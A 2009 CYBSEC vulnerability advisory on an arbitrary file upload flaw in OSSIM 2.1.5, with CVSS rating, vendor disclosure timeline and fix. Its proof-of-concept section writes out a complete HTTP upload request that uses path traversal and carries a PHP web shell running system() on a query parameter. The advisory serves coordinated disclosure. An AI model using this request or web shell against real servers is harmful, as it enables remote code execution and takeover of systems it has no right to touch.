



**Advisory Name:** Arbitrary File Upload in OSSIM

**Vulnerability Class:** Arbitrary File Upload

**Release Date:** 12-16-2009

**Affected Applications:** Confirmed in OSSIM 2.1.5. Other versions may also be affected.

**Affected Platforms:** Multiple

**Local / Remote:** Remote

**Severity:** High – CVSS: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C)

**Researcher:** Nahuel Grisolia

**Vendor Status:** Acknowledged/Fixed. New release available (OSSIM 2.1.5-4)

**Reference to Vulnerability Disclosure Policy:** [http://www.cybsec.com/vulnerability\\_policy.pdf](http://www.cybsec.com/vulnerability_policy.pdf)

**Vulnerability Description:**

The vulnerability is caused due to an improper check in “repository\_attachment.php” script, allowing the upload of files with arbitrary extensions to a folder inside the Webroot. This can be exploited to e.g. execute arbitrary PHP code by uploading a specially crafted PHP script containing some kind of Web Shell. Also, using path traversal technique, an attacker can change the original destination path.

**Proof of Concept:**

1) Select a file with any extension (including PHP) and upload it using the form. The file will be available in: /ossiminstall/uploads/(DOC\_ID\_FOLDER)/(DOC\_ID).php

2) Using path traversal technique, an attacker can write into other directory, like tmp, inside the Webroot:

POST /ossim/repository/repository\_attachment.php HTTP/1.1

Host: XXX.XXX.XXX.XXX

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5.5

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

Accept-Language: en-us,en;q=0.5



Accept-Encoding: gzip,deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,\*;q=0.7  
Keep-Alive: 300  
Proxy-Connection: keep-alive  
Cookie: PHPSESSID=(YOUR\_COOKIE\_HERE)

Content-Type: multipart/form-data; boundary=-----  
11440981608429693121899471469

Content-Length: 689

-----11440981608429693121899471469

Content-Disposition: form-data; name="id\_document"  
../tmp/

-----11440981608429693121899471469

Content-Disposition: form-data; name="atchfile"; filename="R4nd0mF1131tdoesntmatter.php"  
Content-Type: text/vnd.wap.wml

```
<HTML><BODY>  
<FORM METHOD="GET" NAME="myform" ACTION="">  
<INPUT TYPE="text" NAME="cmd">  
<INPUT TYPE="submit" VALUE="Send">  
</FORM>  
<pre>  
<?  
if($_GET['cmd']) {  
    system($_GET['cmd']);  
}  
?>  
</pre>  
</BODY></HTML>
```

-----11440981608429693121899471469--

and then, browse /ossiminstall/tmp/\_(DOC\_ID).php

**Impact:**

Direct execution of arbitrary PHP code in the Web Server.

**Solution:** Upgrade to OSSIM 2.1.5-4



### **Vendor Response:**

2009-12-08 – Vulnerability is identified  
2009-12-09 – Vendor is contacted  
2009-12-09 – Vendor confirmed vulnerability  
2009-12-16 – Vendor released fixed version  
2009-12-16 – Vulnerability is published

### **Contact Information:**

For more information regarding the vulnerability feel free to contact the researcher at **ngriolia <at> cybsec <dot> com**

### **About CYBSEC S.A. Security Systems:**

Since 1996, CYBSEC is engaged exclusively in rendering professional services specialized in Information Security. Their area of services covers Latin America, Spain and over 250 customers are a proof of their professional life.

To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other software and/or hardware provider companies.

Our services are strictly focused on Information Security, protecting our clients from emerging security threats, maintaining their IT deployments available, safe, and reliable.

Beyond professional services, CYBSEC is continuously researching new defense and attack techniques and contributing with the security community with high quality information exchange.

For more information, please visit [www.cybsec.com](http://www.cybsec.com)

(c) 2009 - CYBSEC S.A. Security Systems